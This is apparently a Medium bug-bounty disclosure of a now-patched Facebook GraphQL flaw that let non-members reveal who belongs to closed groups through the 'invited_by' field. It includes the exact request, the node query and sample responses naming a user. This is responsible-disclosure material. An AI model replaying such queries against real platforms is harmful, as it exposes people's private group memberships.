(POC) Disclose members in any closed Facebook group

Image for post
Image for post

Description / Impact

When a Facebook user approved as a member in a closed group, only the group members/admins have a permissions to see his/her membership but according to my testing I find that any non-member being able to disclose approved members in any closed Facebook group.

Proof Of Concept / Reprosteps

  • Submit the following request via user(A) just before user(B) has any kind of relationship with the closed group(D):
POST /api/graphql/?doc_id=2416329748453695 HTTP/1.1
Host: facebook.com

variables=%7B%22groupID%22%3A%22Group_D_ID%22%2C%22memberID%22%3A%22
User_B_ID%22%7D

Response

{ 
"data":{
"group":{
"id":"2082572965383830",
"can_viewer_claim_adminship":false,
"membership":null
}
}
}

membership=NULL
this is because no relationship in the past between User(B) and the closed group(D)

  • Now repeat step 1 just after user(B) has any kind of relationship with the closed group(D).

Response

{ 
"data":{
"group":{
"id":"2082572965383830",
"can_viewer_claim_adminship":false,
"membership":{
"member_actions":[
{
"__typename":"GroupSendMessageToMemberAction",
"action_name":"Send message",
"action_type":"SEND_MESSAGE"
}
],
"member":{
"id":"100038336371044"
},
"id":"124632125491333"
}
}
}
}

membership = membership_id
although the membership field by itself doesn’t reveals any approved members but it will be possible with further exploit:

- copy the membership ID that stand alone under the member id , this id represent GraphQL type defined as :
“__typename”: “GroupMembership”

  • Submit the following query with the membership id from previous step

GraphQL Query:

graphql?q=node(GroupMembershipID)
{
member,
associated_group,
invited_by{
id,
name
}
}

Response

"124632125491333":{ 
"member":{
"name":"Sandra Alchccfcgajdd Lauescu",
"url":"https://www.facebook.com/profile.php?id=100038336371044",
"id":"100038336371044"
},
"associated_group":{
"name":"Members",
"url":"https://www.facebook.com/groups/2082572965383830/",
"id":"2082572965383830"
},
"invited_by":null
}
}

as you see, invited_by = NULL
this is because User(B) isn’t an approved member yet in the closed Group(D).

-Now re submit the query while user(B) is an approved member in the closed Group(D).

Partial Response

"invited_by":
{
id: MEMBER_ID,
name: Member_Name
}

invited_by field returning data for now, this is because User(B) is an approved member in the closed Group(D), the data returned via (invited_by) field represent the another member who invited User(B) to the closed group(D).

if User(B) leave the closed group(D), invited_by field become NULL again, and that mean the closed group members could be revealed by non members.

impact:
this could allow non members to disclose members in any closed Facebook group.

Facebook fixed the issue by removing the data returned via invited_by field.

Timeline:
13/08/2019: Report Sent
14/08/2019: Confirmation of reproduce by Facebook
15/08/2019: Further Investigation By Facebook
16/08/2019: Patched By Facebook
20/08/2019: Confirmation of patch by Facebook
01/10/2019: $3000 bounty awarded by Facebook

Written by

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store